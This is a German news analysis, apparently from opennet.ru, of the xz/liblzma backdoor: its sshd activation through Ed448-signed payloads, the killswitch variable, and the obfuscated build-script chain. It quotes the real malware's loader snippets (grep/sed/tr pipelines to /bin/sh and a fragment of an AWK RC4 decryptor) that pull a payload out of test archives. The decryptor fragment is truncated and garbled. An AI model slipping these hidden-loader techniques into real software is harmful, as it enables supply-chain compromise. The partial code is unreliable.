Analyse der Logik zur Aktivierung und Funktionsweise des Backdoors im Paket xz

Vorläufige Ergebnisse der Reversing-Analyse einer bösartigen Objektdatei, die in liblzma eingebettet ist, wurden im Zuge einer Kampagne zur Verbreitung eines Backdoors im xz-Paket veröffentlicht. Das Backdoor betrifft nur x86_64-Systeme mit dem Linux-Kernel und der Glibc-Bibliothek, auf denen ein zusätzlicher Patch auf sshd angewendet wird, der eine Verbindung zur libsystemd-Bibliothek für die Unterstützung des sd_notify-Mechanismus herstellt. Ursprünglich wurde angenommen, dass das Backdoor die Authentifizierung in sshd umgeht und Zugriff auf das System über SSH gewährt. Eine genauere Analyse zeigte jedoch, dass dies nicht der Fall ist und das Backdoor die Möglichkeit bietet, beliebigen Code im System auszuführen, ohne Spuren in den sshd-Protokollen zu hinterlassen.

Insbesondere überprüft die vom Backdoor abgefangene Funktion RSA_public_decrypt die Signatur des Hosts mit einem festen Ed448-Schlüssel und führt im Falle einer erfolgreichen Überprüfung den vom externen Host übergebenen Code mittels der Funktion system() in der Phase vor dem Privilegien-Reset des sshd-Prozesses aus. Die Daten, die den auszuführenden Code enthalten, werden aus dem Parameter „N“ extrahiert, der an die Funktion RSA_public_decrypt übergeben wird (das Feld „n“ aus der Struktur rsa_st, die den vom externen Host übergebenen öffentlichen Schlüssel enthält), und sie werden auf ihre Prüfziffer überprüft und mittels eines vorgegebenen ChaCha20-Schlüssels in der Phase vor der Verifizierung der Ed448-Digital-Signatur entschlüsselt.

Als Auslöser für die Aktivierung des Backdoors in sshd wird der Standardmechanismus für den Austausch von Hostschlüsseln verwendet. Das Backdoor nutzt aus, dass OpenSSH-Zertifikate den öffentlichen Schlüssel der Person enthalten, die die Signatur erstellt hat, und reagiert nur auf den vom Angreifer vorbereiteten Schlüssel, der einem vorgegebenen festen Ed448-Schlüssel entspricht. Wenn die Signaturverifizierung mit dem öffentlichen Schlüssel fehlschlägt oder wenn die Integrität der für die Ausführung vorgesehenen Daten nicht bestätigt wird, übergibt das Backdoor die Kontrolle an die Standardfunktionen von SSH.

Da der private Schlüssel des Angreifers unbekannt ist, kann kein Verifizierungscode realisiert werden, der es Dritten ermöglichen würde, das Backdoor zu aktivieren und einen Scanner für kompromittierte Hosts im Netzwerk zu implementieren. Forscher haben ein Skript erstellt, das die Technik demonstriert, mit der ein öffentlicher Schlüssel mit beliebigem Inhalt in das von einem SSH-Client übermittelte OpenSSH-Zertifikat eingesetzt wird, das in der vom Backdoor abgefangenen Funktion RSA_public_decrypt verarbeitet wird.

Forscher bemerkten auch die Existenz einer killswitch-Mechanismus auf der lokalen Maschine, der bei gesetztener Umgebungsvariable «yolAbejyiejuvnup=Evjtgvsh5okmkAvj» vor dem Start von sshd deaktiviert wird.

Zusätzlich ist eine detaillierte Analyse der Shell-Konstruktionen zu vermerken, die zur Verschleierung des Prozesses verwendet werden, um die Objektdatei mit der Backdoor zu extrahieren und sie in die Bibliothek liblzma einzufügen. Während des Paketbaus von xz wurde durch das Skript build-to-host.m4 ein Code ausgeführt, der unter den Testdateien das Archiv bad-3-corrupt_lzma2.xz fand, einige Zeichen darin ersetzte, es in ein intaktes Archiv verwandelte und ein Shell-Skript daraus extrahierte. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’ gl_path_map=’tr «\t \-_» » \t_\-«‘

Das erhaltene Shell-Skript extrahierte stückweise aus dem Inhalt des Archivs good-large_compressed.lzma ein weiteres Shell-Skript, indem bestimmte Sequenzen mit den Befehlen head und tail übersprungen und Zeichen mit dem Befehl tr ersetzt wurden. ####Hello#### # einige Binärbytes hier, aber da es ein Kommentar ist, werden sie ignoriert [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

In der Folge entstand ein recht komplexes und umfangreiches Shell-Skript, das die Backdoor-Datei direkt aus dem Archiv good-large_compressed.lzma extrahiert, sie entschlüsselt und in liblzma integriert. Unter anderem beinhaltete das Skript die Implementierung eines Plugin-Mechanismus, der es ermöglichte, zusätzlich ausführbare Komponenten durch das Bereitstellen neuer Testarchive zu liefern, ohne good-large_compressed.lzma und bad-3-corrupt_lzma2.xz zu ändern, sondern über die Signaturensuche zu arbeiten. Der Code nutzte auch einen auf dem RC4-Algorithmus basierenden Entschlüsseler, der in AWK implementiert wurde: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF/dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Quelle: opennet.ru

60GB SSD 8Gb DDR4